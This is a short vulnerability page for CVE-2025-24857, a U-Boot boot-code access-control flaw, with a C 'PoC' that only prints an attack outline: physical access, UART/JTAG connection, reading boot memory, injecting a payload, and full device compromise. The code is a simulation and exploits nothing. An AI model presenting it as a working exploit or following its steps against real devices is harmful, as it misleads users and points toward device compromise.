CVE-2025-24857 U-Boot引导代码不恰当访问控制漏洞

// CVE-2025-24857 PoC - Physical Access Memory Dump // Note: This requires physical access to the target device #include <stdio.h> #include <stdint.h> // Simulated U-Boot memory access demonstration void * volatile_boot_code_addr = (void *)0x80000000; int main() { printf("CVE-2025-24857 PoC - U-Boot Boot Code Access\n"); printf("Target: U-Boot < 2017.11, Qualcomm IPQ chips\n\n"); // Step 1: Physical access to device printf("[*] Step 1: Obtain physical access to target device\n"); // Step 2: Connect via JTAG/Serial printf("[*] Step 2: Connect via JTAG or serial console\n"); printf(" - Connect to UART pins (TX, RX, GND)\n"); printf(" - Configure baud rate (typically 115200)\n"); // Step 3: Access volatile boot memory printf("[*] Step 3: Access volatile memory containing boot code\n"); uint32_t *boot_mem = (uint32_t *)volatile_boot_code_addr; printf(" - Boot code location: %p\n", boot_mem); printf(" - Reading memory without proper access control...\n"); // Step 4: Dump or inject code printf("[*] Step 4: Read/inject arbitrary code\n"); printf(" - Dump boot code for analysis\n"); printf(" - Inject malicious payload into boot memory\n"); // Step 5: Execute arbitrary code printf("[*] Step 5: Execute arbitrary code\n"); printf(" - Privilege: Ring 0 (highest)\n"); printf(" - Result: Full device compromise\n"); printf("\n[!] Mitigation: Upgrade U-Boot to >= 2017.11\n"); return 0; }